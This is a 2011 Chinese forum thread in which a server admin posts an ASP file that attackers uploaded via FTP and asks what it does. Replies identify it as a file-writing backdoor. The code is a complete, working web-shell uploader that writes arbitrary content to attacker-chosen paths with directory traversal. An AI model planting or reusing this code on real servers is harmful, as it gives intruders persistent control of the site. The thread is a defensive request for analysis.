+ -
当前位置:首页 → 问答吧 → 服务器开了ftp, 老有人往上上传木马之类的东西,大家看看这段代码神马意思

服务器开了ftp, 老有人往上上传木马之类的东西,大家看看这段代码神马意思

时间:2011-11-17

来源:互联网

HTML code

<%'Not supper ASP
Option Explicit

dim strPath, strPathName

dim strFileName1, strFileName2, strContent1, strContent2

strFileName1 = Request.Form("f1")
strFileName2 = Request.Form("f2")

strContent1 = Request.Form("d1")
strContent2 = Request.Form("d2")

strPathName = Request.Form("p")

if strPathName = "" then strPathName = "lt"

if strFileName1 = "" and strFileName2 = "" then
    Response.Write("Error")
    Response.End()
end if

if strContent1 = "" and strContent2 = "" then
    Response.Write("Error")
    Response.End()
end if

strPath = Server.MapPath(".")
if right(strPath, 1) <> "/" then strPath = strPath & "/"

strPath = strPath & strPathName & "..\"

'strPath = strPath & "1.asp"

CreateDir(strPath)
if strFileName1 <> "" and strContent1 <> "" then WriteTextToFile strContent1, strPath & "\" & strFileName1
if strFileName2 <> "" and strContent2 <> "" then WriteTextToFile strContent2, strPath & "\" & strFileName2

Response.Write("OK")


'************************************************** 
'[创建目录] 
'函数名:CreateDir 
'作 用:创建目录 
'参 数:crDirname ---- 目录名(包括路径) 
'返回值:目录创建成功返回True,否则False 
'************************************************** 
Function CreateDir(ByVal crDirname) 
    On Error Resume Next
    Dim M_fso 
    
    CreateDir=False 
    
    Set M_fso = CreateObject("Scripting.FileSystemObject") 
    
    If (M_fso.FolderExists(crDirname)) Then 
        CreateDir=False 
    Else 
        M_fso.CreateFolder(crDirname) 
        CreateDir=True 
    End If 
    
    Set M_fso = Nothing 
End Function 

Function WriteTextToFile(strIn, strFile)
'    dim strin,strip
    
    'Response.Write strFile
    dim fso,file
    
    set fso=server.CreateObject("scripting.filesystemobject")
    set file=fso.opentextfile(strFile,2,True)
    
    file.write(strIn)
    file.close
    set file=nothing
    set fso=nothing
End Function
%>


作者: FlowerJunjie   发布时间: 2011-11-17

注释都写给你了

作者: qq43695548   发布时间: 2011-11-17

写文件后门

作者: bingo_   发布时间: 2011-11-17